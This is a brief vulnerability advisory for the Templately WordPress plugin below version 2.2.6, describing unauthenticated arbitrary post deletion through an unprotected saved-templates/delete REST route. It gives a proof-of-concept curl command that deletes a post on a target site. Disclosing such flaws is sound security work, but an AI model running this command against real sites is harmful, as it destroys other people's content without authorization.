Templately < 2.2.6 - Unauthenticated Arbitrary Post Deletion

Description The plugin does not properly authorize the saved-templates/delete REST API call, allowing unauthenticated users to delete arbitrary posts.

PoC

Ensure the Elementor plugin is installed so that the Elementor Template functionality is enabled. curl -X POST https://example.com/?rest_route=/templately/v1/saved-templates/delete -d ‘id=1’